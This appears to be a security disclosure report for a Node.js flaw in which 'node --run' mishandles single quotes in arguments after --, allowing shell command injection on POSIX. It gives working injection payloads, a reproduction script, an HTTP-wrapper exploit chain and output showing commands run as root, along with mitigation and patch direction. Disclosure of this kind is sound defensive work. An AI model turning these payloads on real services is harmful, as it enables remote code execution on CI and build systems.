Node.js · Report #3817602
Node --run POSIX positional argument escaping allows shell command injection
How it was found
Summary
Node.js node --run <script> -- <args> attempts to append positional arguments to a package script after escaping each argument for the shell.
On POSIX platforms, the escaping logic handles single quotes incorrectly. A positional argument containing a single quote can break out of the intended quoted argument and inject additional shell syntax.
The attacker does not need to control package.json or the selected script. The demonstrated payload only controls one argument after --.
Affected Versions
Confirmed vulnerable on Linux x64:
| Version | Result |
|---|---|
| v22.23.0 | Vulnerable |
| v24.17.0 | Vulnerable |
| v26.3.1 | Vulnerable |
--run was added in v22.0.0, so older versions that do not implement --run are not affected by this specific issue.
Windows was not tested.
Attack Scenario
A service, CI bot, build wrapper, or developer tool invokes a trusted package script through Node's built-in task runner and forwards a user-controlled value as a positional argument:
node --run test -- "$user_controlled_pattern"
The application expects the value after -- to be delivered to the package script as data, such as a test name, filename, glob, branch name, or filter string.
An attacker supplies a value containing a single quote and shell metacharacters. Node's task runner incorrectly escapes the argument, causing the shell to execute attacker-controlled syntax as the user running node --run.
Exploit Chain Scenario
The included exploit-chain PoC models a realistic wrapper that does not use a shell at the application boundary.
The wrapper exposes an HTTP endpoint that receives a user-controlled query value and invokes Node with an argv array:
spawn(process.execPath, ['--run', 'search', '--', userInput], {
shell: false
});
The trusted package script is only:
{
"scripts": {
"search": "node helper.js"
}
}
A safe request forwards safe filter value to helper.js and does not create the marker file.
An attack request forwards:
SAFE_ARG'; printf "chain-owned" > "$CHAIN_MARKER"; #
Even though the wrapper used shell: false, Node's internal --run implementation converts the single argv element into shell syntax, truncates the helper argument to SAFE_ARG\, and executes the injected printf redirection.
Why This Is Not Just Application Misuse
Package scripts themselves are shell commands, but Node exposes a separate documented boundary for arguments after --.
The Node.js CLI documentation says that arguments after -- are appended to the script:
Node's implementation also explicitly treats these values as positional arguments that need escaping before being appended:
The vulnerability is that Node's own escaping function does not preserve the argument boundary for single quotes on POSIX. The caller may have correctly passed a single literal argv element to node --run, but Node converts that argv element into shell syntax.
Root Cause Code Evidence
ProcessRunner appends positional arguments by concatenating EscapeShell(arg) into a command string that is later passed to the shell with -c:
The POSIX branch of EscapeShell() wraps the argument in single quotes, but replaces embedded single quotes with \':
In POSIX shell syntax, a single quote cannot be escaped with backslash while inside single quotes. The resulting command string allows an embedded single quote to close the quoted argument.
Current tests cover spaces and double quotes in positional arguments, but not single quotes:
Proof of Concept
The PoC creates a temporary package with a harmless script:
{
"scripts": {
"show": "printf \"received:%s\\n\""
}
}
It then invokes:
node --run show -- "SAFE_ARG'; printf \"command-injection\" > \"$NODE_RUN_POC_MARKER\"; #"
Expected safe behavior:
The complete payload is passed as one literal positional argument and no marker file is created.
Actual behavior:
The shell executes the injected printf redirection and creates the marker file.
Command Execution Proof
A second PoC uses the same bug to execute whoami:
SAFE_ARG'; whoami > "$NODE_RUN_COMMAND_OUTPUT"; #
Output from v26.3.1:
{
"nodeVersion": "v26.3.1",
"platform": "linux",
"arch": "x64",
"proof": "whoami command execution through node --run positional argument shell injection",
"vulnerable": true,
"payload": "SAFE_ARG'; whoami > \"$NODE_RUN_COMMAND_OUTPUT\"; #",
"command": "whoami",
"commandOutput": "root",
"commandOutputCreated": true,
"childExitCode": 0,
"stdout": "received:SAFE_ARG\\\n",
"stderr": ""
}
This shows arbitrary shell command execution as the operating-system user running the Node.js process. In a remotely reachable wrapper or CI service that forwards attacker-controlled input to node --run ... --, this becomes remote command execution in that service context.
Relevant Output
From v26.3.1:
{
"nodeVersion": "v26.3.1",
"platform": "linux",
"arch": "x64",
"feature": "node --run positional argument forwarding",
"vulnerable": true,
"markerCreated": true,
"markerContent": "command-injection",
"childExitCode": 0,
"stdout": "received:SAFE_ARG\\\n",
"stderr": "",
"payload": "SAFE_ARG'; printf \"command-injection\" > \"$NODE_RUN_POC_MARKER\"; #"
}
Raw outputs are included as attachments:
node-v22.23.0-output.jsonnode-v24.17.0-output.jsonnode-v26.3.1-output.jsonnode-v26.3.1-whoami-output.jsonnode-v22.23.0-http-wrapper-chain-output.jsonnode-v24.17.0-http-wrapper-chain-output.jsonnode-v26.3.1-http-wrapper-chain-output.json
Exploit-chain output from v26.3.1:
{
"nodeVersion": "v26.3.1",
"exploitChain": "remote HTTP input -> safe argv spawn wrapper -> node --run positional argument -> shell command injection",
"vulnerable": true,
"safeRequest": {
"markerCreated": false,
"helperObserved": {
"argv": [
"safe filter value"
]
}
},
"attackRequest": {
"markerCreated": true,
"markerContent": "chain-owned",
"helperObserved": {
"argv": [
"SAFE_ARG\\"
]
},
"childExitCode": 0,
"stderr": ""
}
}
Manual Reproduction
Run on a POSIX system with an affected Node.js version:
WORKDIR="$(mktemp -d)"
cd "$WORKDIR"
cat > package.json <<'JSON'
{"scripts":{"show":"printf \"received:%s\\n\""}}
JSON
export NODE_RUN_POC_MARKER="$WORKDIR/command-executed.txt"
PAYLOAD="SAFE_ARG'; printf \"command-injection\" > \"\$NODE_RUN_POC_MARKER\"; #"
node --run show -- "$PAYLOAD"
cat "$NODE_RUN_POC_MARKER"
Vulnerable output:
received:SAFE_ARG\
command-injection
The second line is printed by cat reading the marker file created by injected shell syntax.
Mitigation / Workaround
Applications should avoid forwarding untrusted values to node --run until this is fixed.
If forwarding untrusted values is required, avoid node --run and invoke a trusted executable directly with an argv array through child_process.spawn() or equivalent APIs that do not concatenate arguments into a shell command string.
Patch Direction
The upstream fix should ensure that positional arguments after -- cannot alter shell syntax when appended to the package script.
Possible directions include using a correct POSIX single-quote escaping strategy, or changing the invocation model so positional arguments are passed as shell positional parameters rather than concatenated into the script string.
The final upstream fix may choose a different implementation.
Impact
This is command injection in the node --run positional argument forwarding boundary on POSIX.
This is especially security-relevant because the application boundary may use child_process.spawn() with an argv array and shell: false; the shell interpretation is introduced later by Node's internal --run task runner.
Impact depends on the privileges of the process invoking Node. In CI, build automation, internal web tooling, or wrapper services, this can become remote code execution as the account running the job.
The strongest impact occurs when the attacker can influence an argument after -- but cannot otherwise control the package script or the shell command being executed.